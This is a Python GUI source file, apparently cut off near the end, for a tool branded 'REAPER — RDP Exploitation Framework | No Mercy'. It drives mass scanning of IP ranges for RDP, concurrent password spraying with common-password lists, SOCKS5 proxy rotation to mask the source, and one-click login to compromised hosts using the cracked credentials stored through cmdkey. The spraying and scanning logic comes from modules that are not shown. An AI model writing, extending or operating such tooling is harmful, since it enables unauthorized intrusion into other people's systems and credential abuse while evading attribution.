""" FastRDP-NG GUI - Sleek Windows interface for RDP scanning & password spraying. Dark-themed, real-time progress, live host table, instant hit logging. Streaming design: scan finds hosts → spray starts immediately (concurrent). """ import tkinter as tk from tkinter import ttk, scrolledtext, filedialog import threading import asyncio import time import os import random import sys import subprocess from typing import Set, Tuple, List from dataclasses import dataclass from scanner import scan_ips, RDP_PORTS from ip_utils import parse_ranges_file, count_ips from bruteforce import ( spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES, credential_validation_available, ) from proxy import ProxyManager BASE_DIR = os.path.dirname(os.path.abspath(__file__)) RESULTS_DIR = os.path.join(BASE_DIR, "results") WORDLISTS_DIR = os.path.join(BASE_DIR, "wordlists") # ── Terminal ANSI helpers ──────────────────────────────── _TERM = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty() if _TERM: try: import ctypes kernel32 = ctypes.windll.kernel32 kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7) except Exception: pass def _c(code, text): return f"{code}{text}\033[0m" if _TERM else text # ── Color Palette ────────────────────────────────────────── class Colors: BG_DARK = "#1a1a2e" BG_MID = "#16213e" BG_LIGHT = "#0f3460" ACCENT = "#00d2ff" ACCENT2 = "#e94560" GREEN = "#4ec94e" RED = "#f44747" ORANGE = "#ffa500" YELLOW = "#dcdcaa" TEXT = "#e0e0e0" TEXT_DIM = "#888888" HIT_BG = "#1a3a1a" INPUT_BG = "#0d1117" @dataclass class ScanStats: """Live scanning statistics.""" checked: int = 0 total: int = 0 live: int = 0 hits: int = 0 rate: float = 0.0 start_time: float = 0.0 phase: str = "idle" # idle | scanning | spraying | done class FastRDPGUI: """Polished Windows GUI for FastRDP-NG.""" def __init__(self): self.root = tk.Tk() self.root.title("REAPER v2.0 \u2014 RDP Exploitation Framework \u2620") self.root.geometry("1100x820") self.root.minsize(950, 700) self.root.configure(bg=Colors.BG_DARK) # State self.scanning = False self.stats = ScanStats() self.live_hosts: Set[Tuple[str, int]] = set() self.hits: List[Tuple[str, int, str, str]] = [] self.host_items: dict = {} # (ip,port) -> treeview item id self.ranges_file = os.path.join(WORDLISTS_DIR, "ranges.txt") self.users_file = os.path.join(WORDLISTS_DIR, "users.txt") self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt") self._metric_labels: dict = {} # Proxy manager self.proxy_manager = ProxyManager() os.makedirs(RESULTS_DIR, exist_ok=True) os.makedirs(WORDLISTS_DIR, exist_ok=True) self._setup_styles() self._build_ui() self._update_stats_display() self.root.protocol("WM_DELETE_WINDOW", self._on_close) def _setup_styles(self): style = ttk.Style() style.theme_use("clam") style.configure(".", background=Colors.BG_DARK, foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG, font=("Segoe UI", 10)) style.configure("TLabelframe", background=Colors.BG_MID, foreground=Colors.TEXT, bordercolor=Colors.ACCENT, lightcolor=Colors.ACCENT, darkcolor=Colors.BG_MID) style.configure("TLabelframe.Label", background=Colors.BG_MID, foreground=Colors.ACCENT, font=("Segoe UI", 10, "bold")) style.configure("TButton", background=Colors.BG_LIGHT, foreground=Colors.TEXT, bordercolor=Colors.ACCENT, focuscolor="none", font=("Segoe UI", 10, "bold")) style.map("TButton", background=[("active", Colors.ACCENT), ("disabled", Colors.BG_MID)], foreground=[("disabled", Colors.TEXT_DIM)]) style.configure("Accent.TButton", background=Colors.ACCENT, foreground=Colors.BG_DARK) style.map("Accent.TButton", background=[("active", "#00e5ff"), ("disabled", Colors.BG_MID)]) style.configure("Danger.TButton", background=Colors.ACCENT2, foreground="white") style.map("Danger.TButton", background=[("active", "#ff6b81"), ("disabled", Colors.BG_MID)]) style.configure("Connect.TButton", background=Colors.GREEN, foreground=Colors.BG_DARK) style.map("Connect.TButton", background=[("active", "#5ddc5d"), ("disabled", Colors.BG_MID)]) style.configure("TEntry", fieldbackground=Colors.INPUT_BG, foreground=Colors.TEXT, bordercolor=Colors.BG_LIGHT) style.configure("Horizontal.TScale", background=Colors.BG_DARK, troughcolor=Colors.BG_MID, slidercolor=Colors.ACCENT) style.configure("TCheckbutton", background=Colors.BG_DARK, foreground=Colors.TEXT) style.map("TCheckbutton", background=[("active", Colors.BG_DARK)]) style.configure("Treeview", background=Colors.INPUT_BG, foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG, bordercolor=Colors.BG_MID, font=("Consolas", 9)) style.configure("Treeview.Heading", background=Colors.BG_LIGHT, foreground=Colors.ACCENT, font=("Segoe UI", 9, "bold")) style.map("Treeview", background=[("selected", Colors.BG_LIGHT)]) def _build_ui(self): header = tk.Frame(self.root, bg=Colors.BG_MID, height=50) header.pack(fill="x") header.pack_propagate(False) tk.Label(header, text="\u2620 REAPER", font=("Segoe UI", 18, "bold"), fg="#ff4444", bg=Colors.BG_MID).pack(side="left", padx=15) tk.Label(header, text="v2.0 \u2014 RDP Exploitation Framework | No Mercy", font=("Segoe UI", 9), fg=Colors.TEXT_DIM, bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0)) self.notebook = ttk.Notebook(self.root) self.notebook.pack(fill="both", expand=True, padx=5, pady=5) self.tab_scan = tk.Frame(self.notebook, bg=Colors.BG_DARK) self.notebook.add(self.tab_scan, text=" \U0001f50d Scanner ") self._build_scanner_tab() self.tab_results = tk.Frame(self.notebook, bg=Colors.BG_DARK) self.notebook.add(self.tab_results, text=" \U0001f4ca Results ") self._build_results_tab() self.tab_proxy = tk.Frame(self.notebook, bg=Colors.BG_DARK) self.notebook.add(self.tab_proxy, text=" \U0001f310 Proxy ") self._build_proxy_tab() self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK) self.notebook.add(self.tab_settings, text=" \u2699 Settings ") self._build_settings_tab() # ── TAB 1: SCANNER ───────────────────────────────────── def _build_scanner_tab(self): left = tk.Frame(self.tab_scan, bg=Colors.BG_DARK, width=380) left.pack(side="left", fill="y", padx=(0, 5)) left.pack_propagate(False) right = tk.Frame(self.tab_scan, bg=Colors.BG_DARK) right.pack(side="right", fill="both", expand=True) # ── LEFT PANEL ── targets_frame = ttk.LabelFrame(left, text="\U0001f3af Targets", padding=8) targets_frame.pack(fill="x", pady=(0, 5)) ttk.Label(targets_frame, text="Ranges File:", font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", pady=2) self.ranges_entry = ttk.Entry(targets_frame, width=30) self.ranges_entry.insert(0, self.ranges_file) self.ranges_entry.grid(row=0, column=1, padx=5, pady=2, sticky="ew") btn_row = tk.Frame(targets_frame, bg=Colors.BG_MID) btn_row.grid(row=0, column=2, padx=(0, 0)) ttk.Button(btn_row, text="\U0001f4c2", width=3, command=self._browse_ranges).pack(side="left") ttk.Button(btn_row, text="\u2795", width=3, command=self._quick_add_ip).pack(side="left", padx=(2, 0)) ttk.Label(targets_frame, text="Users File:", font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=2) self.users_entry = ttk.Entry(targets_frame, width=30) self.users_entry.insert(0, self.users_file) self.users_entry.grid(row=1, column=1, padx=5, pady=2, sticky="ew") ttk.Button(targets_frame, text="\U0001f4c2", width=3, command=lambda: self._browse_file("users")).grid(row=1, column=2) ttk.Label(targets_frame, text="Passwords File:", font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=2) self.pass_entry = ttk.Entry(targets_frame, width=30) self.pass_entry.insert(0, self.passwords_file) self.pass_entry.grid(row=2, column=1, padx=5, pady=2, sticky="ew") ttk.Button(targets_frame, text="\U0001f4c2", width=3, command=lambda: self._browse_file("passwords")).grid(row=2, column=2) targets_frame.columnconfigure(1, weight=1) # -- Speed / Performance -- perf_frame = ttk.LabelFrame(left, text="\u26a1 Performance", padding=8) perf_frame.pack(fill="x", pady=(0, 5)) ttk.Label(perf_frame, text="Concurrent Connections:", font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w") self.speed_var = tk.IntVar(value=5000) speed_frame = tk.Frame(perf_frame, bg=Colors.BG_MID) speed_frame.grid(row=0, column=1, padx=5, sticky="ew") speed_scale = ttk.Scale(speed_frame, from_=500, to=25000, variable=self.speed_var, orient="horizontal", length=180) speed_scale.pack(side="left", fill="x", expand=True) self.speed_label = tk.Label(speed_frame, text="5,000", fg=Colors.ACCENT, bg=Colors.BG_MID, font=("Consolas", 9, "bold"), width=6) self.speed_label.pack(side="left", padx=(5, 0)) speed_scale.configure(command=lambda v: self.speed_label.config( text=f"{int(float(v)):,}")) ttk.Label(perf_frame, text="Connect Timeout (s):", font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=(5, 0)) self.timeout_var = tk.DoubleVar(value=2.0) timeout_spin = ttk.Spinbox(perf_frame, from_=0.5, to=10.0, increment=0.5, textvariable=self.timeout_var, width=8) timeout_spin.grid(row=1, column=1, padx=5, pady=(5, 0), sticky="w") ttk.Label(perf_frame, text="Scan Ports:", font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=(5, 0)) ports_frame = tk.Frame(perf_frame, bg=Colors.BG_MID) ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w") self.port_vars = {3389: tk.BooleanVar(value=True), 3390: tk.BooleanVar(value=True), 3391: tk.BooleanVar(value=True)} for i, (port, var) in enumerate(self.port_vars.items()): tk.Checkbutton(ports_frame, text=str(port), variable=var, fg=Colors.TEXT, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID, activeforeground=Colors.ACCENT).pack(side="left", padx=2) perf_frame.columnconfigure(1, weight=1) self.cred_banner = tk.Label( left, text="", fg=Colors.TEXT_DIM, bg=Colors.BG_DARK, font=("Segoe UI", 8), wraplength=360, justify="left", ) self.cred_banner.pack(fill="x", pady=(0, 6)) self._refresh_credential_banner() # -- Controls -- ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8) ctrl_frame.pack(fill="x", pady=(0, 5)) btn_frame = tk.Frame(ctrl_frame, bg=Colors.BG_MID) btn_frame.pack(fill="x") self.start_btn = ttk.Button(btn_frame, text="\u25b6 START SCAN", style="Accent.TButton", command=self._start_scan, width=16) self.start_btn.pack(side="left", padx=(0, 5)) self.stop_btn = ttk.Button(btn_frame, text="\u25a0 STOP", style="Danger.TButton", command=self._stop_scan, state="disabled", width=10) self.stop_btn.pack(side="left", padx=(0, 5)) ttk.Button(btn_frame, text="\U0001f5d1 Clear", width=8, command=self._clear_results).pack(side="left") spray_opts = tk.Frame(ctrl_frame, bg=Colors.BG_MID) spray_opts.pack(fill="x", pady=(8, 0)) self.spray_var = tk.BooleanVar(value=True) tk.Checkbutton(spray_opts, text="\U0001f511 Instant spray (as hosts found)", variable=self.spray_var, fg=Colors.TEXT, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID, activeforeground=Colors.ACCENT, font=("Segoe UI", 9, "bold")).pack(side="left") self.randomize_var = tk.BooleanVar(value=True) tk.Checkbutton(spray_opts, text="\U0001f3b2 Randomize", variable=self.randomize_var, fg=Colors.TEXT_DIM, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0)) # -- Live Stats Dashboard -- stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8) stats_frame.pack(fill="x", expand=False) stats_grid = tk.Frame(stats_frame, bg=Colors.BG_MID) stats_grid.pack(fill="x") self._metric_labels = {} self._make_metric(stats_grid, "Checked", "0", 0, 0, Colors.YELLOW) self._make_metric(stats_grid, "Total", "0", 0, 1, Colors.TEXT_DIM) self._make_metric(stats_grid, "Live", "0", 0, 2, Colors.GREEN) self._make_metric(stats_grid, "Hits", "0", 1, 0, Colors.ACCENT2) self._make_metric(stats_grid, "Rate", "0/s", 1, 1, Colors.ACCENT) self._make_metric(stats_grid, "Elapsed", "0s", 1, 2, Colors.ORANGE) for col in range(3): stats_grid.columnconfigure(col, weight=1, uniform="metric") # ── RIGHT PANEL ── hosts_frame = ttk.LabelFrame(right, text="\U0001f310 Live RDP Hosts [double-click to RDP connect]", padding=3) hosts_frame.pack(fill="both", expand=True, pady=(0, 3)) columns = ("ip", "port", "status", "username", "password") self.host_tree = ttk.Treeview(hosts_frame, columns=columns, show="headings", height=6) headings = [("ip", "IP Address", 150), ("port", "Port", 55), ("status", "Status", 140), ("username", "Username", 110), ("password", "Password", 120)] for col, text, width in headings: self.host_tree.heading(col, text=text) self.host_tree.column(col, width=width) # Double-click to RDP connect self.host_tree.bind("", self._on_host_double_click) scroll_y = ttk.Scrollbar(hosts_frame, orient="vertical", command=self.host_tree.yview) self.host_tree.configure(yscrollcommand=scroll_y.set) self.host_tree.pack(side="left", fill="both", expand=True) scroll_y.pack(side="right", fill="y") # RDP Connect button bar rdp_bar = tk.Frame(right, bg=Colors.BG_MID, height=35) rdp_bar.pack(fill="x", pady=(0, 3)) rdp_bar.pack_propagate(False) ttk.Button(rdp_bar, text="\U0001f4bb RDP Connect (selected host)", style="Connect.TButton", command=self._rdp_connect_selected).pack(side="left", padx=5, pady=3) ttk.Button(rdp_bar, text="\U0001f4dd Quick RDP (manual IP)", command=self._quick_rdp_dialog).pack(side="left", padx=5, pady=3) self.rdp_status = tk.Label(rdp_bar, text="Select a host, then click RDP Connect", fg=Colors.TEXT_DIM, bg=Colors.BG_MID, font=("Segoe UI", 8)) self.rdp_status.pack(side="right", padx=10) # -- Event log -- log_frame = ttk.LabelFrame(right, text="\U0001f4dd Event Log", padding=3) log_frame.pack(fill="both", expand=True) self.log_text = scrolledtext.ScrolledText( log_frame, font=("Consolas", 9), height=8, bg="#0d1117", fg="#c9d1d9", insertbackground="white", relief="flat", borderwidth=0 ) self.log_text.pack(fill="both", expand=True) self.log_text.tag_configure("hit", foreground=Colors.GREEN, font=("Consolas", 9, "bold")) self.log_text.tag_configure("info", foreground="#79c0ff") self.log_text.tag_configure("error", foreground=Colors.RED) self.log_text.tag_configure("warn", foreground=Colors.ORANGE, font=("Consolas", 9, "bold")) self.log_text.tag_configure("scan", foreground=Colors.YELLOW) self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM) def _make_metric(self, parent, label, value, row, col, color): frame = tk.Frame(parent, bg=Colors.INPUT_BG, highlightbackground=color, highlightthickness=1, padx=8, pady=5) frame.grid(row=row, column=col, padx=3, pady=3, sticky="nsew") tk.Label(frame, text=label, fg=Colors.TEXT_DIM, bg=Colors.INPUT_BG, font=("Segoe UI", 7)).pack() metric_label = tk.Label(frame, text=value, fg=color, bg=Colors.INPUT_BG, font=("Consolas", 14, "bold")) metric_label.pack() key = label.lower().replace(" ", "_") self._metric_labels[key] = metric_label def _refresh_credential_banner(self): """Runtime status: credential validation binary present or not.""" try: if credential_validation_available(): self.cred_banner.config( fg=Colors.GREEN, text=( "Credential validation: enabled (rdpthread.exe in app folder)." ), ) else: self.cred_banner.config( fg=Colors.ORANGE, text=( "Credential validation: not deployed — port scan and RDP discovery " "are fully operational. Ship rdpthread.exe with the app for spray " "result verification." ), ) except tk.TclError: pass # ── TAB 2: RESULTS ───────────────────────────────────── def _build_results_tab(self): hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3) hit_frame.pack(fill="both", expand=True, pady=(0, 3)) columns = ("ip", "port", "username", "password", "timestamp") self.hit_tree = ttk.Treeview(hit_frame, columns=columns, show="headings", height=10) headings = [("ip", "IP Address", 160), ("port", "Port", 60), ("username", "Username", 130), ("password", "Password", 130), ("timestamp", "Found At", 150)] for col, text, width in headings: self.hit_tree.heading(col, text=text) self.hit_tree.column(col, width=width) # Double-click hit to RDP connect self.hit_tree.bind("", self._on_hit_double_click) scroll_y2 = ttk.Scrollbar(hit_frame, orient="vertical", command=self.hit_tree.yview) self.hit_tree.configure(yscrollcommand=scroll_y2.set) self.hit_tree.pack(side="left", fill="both", expand=True) scroll_y2.pack(side="right", fill="y") out_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4c4 good.txt Output", padding=3) out_frame.pack(fill="both", expand=True) btn_row = tk.Frame(out_frame, bg=Colors.BG_MID) btn_row.pack(fill="x", pady=(0, 3)) ttk.Button(btn_row, text="\U0001f504 Refresh", command=self._refresh_good).pack(side="left") ttk.Button(btn_row, text="\U0001f4c2 Open File", command=lambda: os.startfile(os.path.join(RESULTS_DIR, "good.txt")) if hasattr(os, 'startfile') else None).pack(side="left", padx=5) self.good_text = scrolledtext.ScrolledText( out_frame, font=("Consolas", 9), height=8, bg="#0d1117", fg=Colors.GREEN, relief="flat", borderwidth=0 ) self.good_text.pack(fill="both", expand=True) # ── TAB 3: PROXY ──────────────────────────────────────── def _build_proxy_tab(self): """Build the proxy management tab.""" # ── Top controls ── ctrl_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=50) ctrl_frame.pack(fill="x") ctrl_frame.pack_propagate(False) # Master on/off toggle self.proxy_enabled_var = tk.BooleanVar(value=False) self.proxy_toggle = tk.Checkbutton( ctrl_frame, text="\U0001f6e1 PROXY ON", variable=self.proxy_enabled_var, fg=Colors.GREEN, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID, activeforeground=Colors.GREEN, font=("Segoe UI", 12, "bold"), command=self._on_proxy_toggle ) self.proxy_toggle.pack(side="left", padx=15, pady=5) # Auto-rotate toggle self.proxy_rotate_var = tk.BooleanVar(value=True) tk.Checkbutton( ctrl_frame, text="\U0001f504 Auto-Rotate", variable=self.proxy_rotate_var, fg=Colors.TEXT, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID, activeforeground=Colors.ACCENT, font=("Segoe UI", 9, "bold"), command=self._on_rotate_toggle ).pack(side="left", padx=10) # Buttons self.fetch_btn = ttk.Button(ctrl_frame, text="\U0001f4e1 Fetch Proxies", command=self._fetch_proxies) self.fetch_btn.pack(side="left", padx=5) self.test_btn = ttk.Button(ctrl_frame, text="\U0001f50d Test All", command=self._test_proxies, state="disabled") self.test_btn.pack(side="left", padx=5) self.clear_btn = ttk.Button(ctrl_frame, text="\U0001f5d1 Clear", command=self._clear_proxies, state="disabled") self.clear_btn.pack(side="left", padx=5) # ── Proxy list ── list_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4cb Proxy List", padding=3) list_frame.pack(fill="both", expand=True, pady=(3, 3)) columns = ("host", "port", "protocol", "alive", "latency", "failures") self.proxy_tree = ttk.Treeview(list_frame, columns=columns, show="headings", height=10) headings = [("host", "IP Address", 160), ("port", "Port", 55), ("protocol", "Type", 70), ("alive", "Alive", 55), ("latency", "Latency", 80), ("failures", "Failures", 65)] for col, text, width in headings: self.proxy_tree.heading(col, text=text) self.proxy_tree.column(col, width=width, anchor="center") self.proxy_tree.column("host", anchor="w") scroll_p = ttk.Scrollbar(list_frame, orient="vertical", command=self.proxy_tree.yview) self.proxy_tree.configure(yscrollcommand=scroll_p.set) self.proxy_tree.pack(side="left", fill="both", expand=True) scroll_p.pack(side="right", fill="y") # Tag for alive/dead rows self.proxy_tree.tag_configure("alive", foreground=Colors.GREEN) self.proxy_tree.tag_configure("dead", foreground=Colors.RED) self.proxy_tree.tag_configure("testing", foreground=Colors.YELLOW) # ── Proxy stats ── stats_frame = tk.Frame(self.tab_proxy, bg=Colors.BG_MID, height=35) stats_frame.pack(fill="x") stats_frame.pack_propagate(False) self.proxy_stats_label = tk.Label( stats_frame, text="\U0001f4ca Total: 0 | \u2713 Working: 0 | \u2717 Failed: 0 | Status: idle", fg=Colors.TEXT_DIM, bg=Colors.BG_MID, font=("Consolas", 9) ) self.proxy_stats_label.pack(side="left", padx=10) # Progress bar (hidden by default) self.proxy_progress = ttk.Progressbar( stats_frame, mode="determinate", length=200 ) self.proxy_progress.pack(side="right", padx=10) # ── Log output ── log_frame = ttk.LabelFrame(self.tab_proxy, text="\U0001f4dd Proxy Log", padding=3) log_frame.pack(fill="both", expand=True) self.proxy_log = scrolledtext.ScrolledText( log_frame, font=("Consolas", 9), height=6, bg="#0d1117", fg="#c9d1d9", insertbackground="white", relief="flat", borderwidth=0 ) self.proxy_log.pack(fill="both", expand=True) self.proxy_log.tag_configure("info", foreground="#79c0ff") self.proxy_log.tag_configure("ok", foreground=Colors.GREEN) self.proxy_log.tag_configure("error", foreground=Colors.RED) self.proxy_log.tag_configure("system", foreground=Colors.TEXT_DIM) def _proxy_log(self, msg: str, tag: str = "info"): ts = time.strftime("%H:%M:%S") try: self.proxy_log.insert("end", f"[{ts}] {msg}\n", tag) self.proxy_log.see("end") except tk.TclError: pass def _on_proxy_toggle(self): enabled = self.proxy_enabled_var.get() self.proxy_manager.enabled = enabled if enabled: self.proxy_toggle.config(fg=Colors.GREEN, text="\U0001f6e1 PROXY ON") self._proxy_log("\U0001f6e1 Proxy routing ENABLED", "ok") # Auto-fetch if no proxies yet if not self.proxy_manager.proxies: self.root.after(100, self._fetch_proxies) else: self.proxy_toggle.config(fg=Colors.RED, text="\U0001f6e1 PROXY OFF") self._proxy_log("\U0001f6e1 Proxy routing DISABLED", "system") def _on_rotate_toggle(self): self.proxy_manager.auto_rotate = self.proxy_rotate_var.get() self._proxy_log(f"Auto-rotate: {'ON' if self.proxy_rotate_var.get() else 'OFF'}", "system") def _update_proxy_display(self): """Refresh the proxy treeview from manager state.""" for item in self.proxy_tree.get_children(): self.proxy_tree.delete(item) for p in self.proxy_manager.proxies: tag = "alive" if p.alive else "dead" alive_str = "\u2713" if p.alive else "\u2717" latency_str = f"{p.latency:.0f}ms" if p.alive else "-" self.proxy_tree.insert("", "end", values=(p.host, str(p.port), p.protocol.upper(), alive_str, latency_str, str(p.failures)), tags=(tag,)) stats = self.proxy_manager.get_stats() self.proxy_stats_label.config( text=f"\U0001f4ca Total: {stats['total']} | " f"\u2713 Working: {stats['working']} | " f"\u2717 Failed: {stats['failed']} | " f"Status: {'fetching...' if stats['fetching'] else 'testing...' if stats['testing'] else 'idle'}" ) self.test_btn.config(state="normal" if stats['total'] > 0 else "disabled") self.clear_btn.config(state="normal" if stats['total'] > 0 else "disabled") def _fetch_proxies(self): """Fetch proxies from sources in a background thread.""" self.fetch_btn.config(state="disabled") self.proxy_progress["mode"] = "indeterminate" self.proxy_progress.start() self._proxy_log("\U0001f4e1 Fetching proxy lists from sources...", "info") def worker(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) try: count = loop.run_until_complete( self.proxy_manager.fetch_from_sources( progress_callback=lambda msg: self.root.after(0, lambda m=msg: self._proxy_log(m, "system")) ) ) self.root.after(0, lambda: self._proxy_log( f"\u2705 Fetched {count} unique proxies", "ok")) self.root.after(0, self._update_proxy_display) except Exception as e: self.root.after(0, lambda: self._proxy_log( f"\u274c Fetch error: {e}", "error")) finally: loop.close() self.root.after(0, lambda: self.proxy_progress.stop()) self.root.after(0, lambda: self.proxy_progress.configure(mode="determinate")) self.root.after(0, lambda: self.fetch_btn.config(state="normal")) thread = threading.Thread(target=worker, daemon=True) thread.start() def _test_proxies(self): """Test all proxies in background thread.""" self.test_btn.config(state="disabled") self.proxy_progress["value"] = 0 self.proxy_progress["maximum"] = 100 self._proxy_log("\U0001f50d Testing proxies...", "info") def worker(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) try: def progress_cb(done, total): pct = int((done / total) * 100) if total > 0 else 0 self.root.after(0, lambda v=pct: self.proxy_progress.configure(value=v)) working = loop.run_until_complete( self.proxy_manager.test_all( max_concurrent=100, progress_callback=progress_cb ) ) self.root.after(0, lambda: self._proxy_log( f"\u2705 Testing complete: {working} working proxies", "ok")) self.root.after(0, self._update_proxy_display) except Exception as e: self.root.after(0, lambda: self._proxy_log( f"\u274c Test error: {e}", "error")) finally: loop.close() self.root.after(0, lambda: self.test_btn.config(state="normal")) self.root.after(0, lambda: self.proxy_progress.configure(value=0)) thread = threading.Thread(target=worker, daemon=True) thread.start() def _clear_proxies(self): """Clear all proxies.""" self.proxy_manager.proxies.clear() self.proxy_manager._working.clear() self.proxy_manager.working_count = 0 self.proxy_manager.failed_count = 0 self.proxy_manager.total_fetched = 0 self._update_proxy_display() self._proxy_log("\U0001f5d1 Proxy list cleared", "system") # ── TAB 4: SETTINGS ──────────────────────────────────── def _build_settings_tab(self): editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8) editor_frame.pack(fill="both", expand=True, pady=(0, 5)) nb = ttk.Notebook(editor_frame) nb.pack(fill="both", expand=True) for name, file_key in [("Usernames", "users"), ("Passwords", "passwords"), ("Ranges", "ranges")]: tab = tk.Frame(nb, bg=Colors.INPUT_BG) nb.add(tab, text=f" {name} ") text_widget = scrolledtext.ScrolledText( tab, font=("Consolas", 9), bg="#0d1117", fg=Colors.TEXT, relief="flat", borderwidth=0 ) text_widget.pack(fill="both", expand=True, padx=2, pady=2) fpath = os.path.join(WORDLISTS_DIR, f"{file_key}.txt") if os.path.exists(fpath): with open(fpath, 'r', errors='ignore') as f: content = f.read() text_widget.insert("1.0", content) setattr(self, f"{file_key}_editor", text_widget) about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8) about_frame.pack(fill="x") tk.Label(about_frame, text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n" "\u2620 Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n" "Built with Python 3.11 + asyncio\n" "Streaming: scan + spray run CONCURRENTLY\n" "Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n" "Double-click a host to RDP connect; status strip shows credential engine state\n" "Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy", fg=Colors.TEXT, bg=Colors.BG_MID, justify="left", font=("Segoe UI", 9)).pack(anchor="w", pady=5) # ── METRICS UPDATE ───────────────────────────────────── def _update_stats_display(self): s = self.stats elapsed = time.time() - s.start_time if s.start_time > 0 else 0 labels_map = { "checked": f"{s.checked:,}", "total": f"{s.total:,}", "live": f"{s.live}", "hits": f"{s.hits}", "rate": f"{s.rate:,.0f}/s" if s.rate > 0 else "0/s", "elapsed": f"{elapsed:.0f}s" if elapsed < 60 else f"{elapsed/60:.1f}m" } for key, text in labels_map.items(): if key in self._metric_labels: lbl = self._metric_labels[key] try: lbl.config(text=text) except tk.TclError: pass self.root.after(500, self._update_stats_display) # ── LOGGING ──────────────────────────────────────────── def _log(self, msg: str, tag: str = "info"): ts = time.strftime("%H:%M:%S") # Schedule GUI update on main thread (tkinter is NOT thread-safe) self.root.after(0, lambda m=msg, t=tag, ts=ts: self._log_gui(m, t, ts)) tag_colors = { "hit": "\033[92m", "info": "\033[94m", "error": "\033[91m", "warn": "\033[93m", "scan": "\033[93m", "system": "\033[90m", } color = tag_colors.get(tag, "\033[97m") try: print(f" {color}[{ts}]\033[0m {msg}", flush=True) except OSError: pass def _log_gui(self, msg: str, tag: str, ts: str): """Thread-safe GUI log append (runs on main thread via after()).""" try: self.log_text.insert("end", f"[{ts}] {msg}\n", tag) self.log_text.see("end") except tk.TclError: pass # ── RDP CONNECT FEATURE ──────────────────────────────── def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""): """Launch Windows mstsc (or store creds + launch) for given host.""" ts = time.strftime("%H:%M:%S") try: if username and password: # Store credential in Windows Credential Manager for this session # Then mstsc can use it automatically cmdkey_path = r"C:\Windows\System32\cmdkey.exe" if os.path.exists(cmdkey_path): # Scope creds to this host (TERMSRV/ is required for mstsc) subprocess.run( [cmdkey_path, f"/generic:TERMSRV/{ip}", f"/user:{username}", f"/pass:{password}"], capture_output=True, timeout=5, creationflags=subprocess.CREATE_NO_WINDOW ) self._log(f"\U0001f4bb Stored RDP creds for {username}@{ip}", "system") else: self._log("\U0001f4bb cmdkey not found, launching without stored creds", "system") # Launch mstsc mstsc_path = r"C:\Windows\System32\mstsc.exe" if os.path.exists(mstsc_path): rdp_target = f"/v:{ip}:{port}" subprocess.Popen( [mstsc_path, rdp_target], creationflags=subprocess.CREATE_NO_WINDOW ) self._log(f"\U0001f4bb RDP launched: {ip}:{port} [{username}]", "hit") self.rdp_status.config(text=f"RDP: {ip}:{port}") print(_c("\033[92m", f" [{ts}] \U0001f4bb RDP \u2192 {ip}:{port} user={username}")) else: self._log("\u274c mstsc.exe not found! Are you on Windows?", "error") except Exception as e: self._log(f"\u274c RDP error: {e}", "error") def _rdp_connect_selected(self): """RDP connect to the currently selected host in the tree.""" sel = self.host_tree.selection() if not sel: self.rdp_status.config(text="No host selected!") return item = sel[0] vals = self.host_tree.item(item, "values") ip = vals[0] port = int(vals[1]) if vals[1].isdigit() else 3389 user = vals[3] if len(vals) > 3 else "" pwd = vals[4] if len(vals) > 4 else "" self._rdp_connect(ip, port, user, pwd) def _on_host_double_click(self, event): self._rdp_connect_selected() def _on_hit_double_click(self, event): sel = self.hit_tree.selection() if not sel: return item = sel[0] vals = self.hit_tree.item(item, "values") ip = vals[0] port = int(vals[1]) if vals[1].isdigit() else 3389 user = vals[2] if len(vals) > 2 else "" pwd = vals[3] if len(vals) > 3 else "" self._rdp_connect(ip, port, user, pwd) def _quick_rdp_dialog(self): dialog = tk.Toplevel(self.root) dialog.title("Quick RDP Connect") dialog.geometry("380x200") dialog.configure(bg=Colors.BG_DARK) dialog.transient(self.root) dialog.grab_set() tk.Label(dialog, text="Manual RDP Connection", font=("Segoe UI", 12, "bold"), fg=Colors.ACCENT, bg=Colors.BG_DARK).pack(pady=(10, 5)) frame = tk.Frame(dialog, bg=Colors.BG_DARK) frame.pack(pady=5) tk.Label(frame, text="IP:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", padx=5) ip_entry = ttk.Entry(frame, width=30) ip_entry.grid(row=0, column=1, padx=5, pady=2) tk.Label(frame, text="Port:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).grid(row=1, column=0, 